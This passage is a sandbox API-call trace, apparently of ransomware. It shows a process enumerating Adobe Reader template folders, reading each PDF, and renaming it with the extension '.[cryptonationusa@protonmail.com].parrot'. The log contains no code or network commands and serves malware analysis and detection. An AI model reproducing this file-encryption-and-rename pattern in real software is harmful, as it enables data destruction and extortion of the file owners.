SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.537] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16057, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x16057, lpOverlapped=0x0) returned 1 [0246.540] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.543] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.551] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.551] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.552] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155af, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x155af, lpOverlapped=0x0) returned 1 [0246.557] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.560] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.567] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.567] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.568] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.568] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.568] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.568] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.568] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.569] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.569] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.570] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x106ec, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x106ec, lpOverlapped=0x0) returned 1 [0246.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.576] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.585] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.585] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.587] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.587] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101ce, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x101ce, lpOverlapped=0x0) returned 1 [0246.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.602] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.603] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.604] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.604] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.604] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.604] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.604] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.604] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.606] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.606] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x106d4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x106d4, lpOverlapped=0x0) returned 1 [0246.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.612] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.620] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.622] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.622] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101bc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x101bc, lpOverlapped=0x0) returned 1 [0246.626] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.630] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.636] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.636] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.636] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.636] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.636] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.636] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.636] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.637] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.637] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.678] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.678] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14096, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14096, lpOverlapped=0x0) returned 1 [0246.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.693] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.695] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13b0b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13b0b, lpOverlapped=0x0) returned 1 [0246.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.701] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.707] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.707] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.708] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.708] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.708] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109db, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.710] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.711] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x109db, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x109db, lpOverlapped=0x0) returned 1 [0246.713] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.717] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.731] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.732] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x104bf, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x104bf, lpOverlapped=0x0) returned 1 [0246.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.739] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.744] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.745] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.745] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.745] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.745] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.745] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.745] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.746] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.746] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.746] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.746] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.746] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 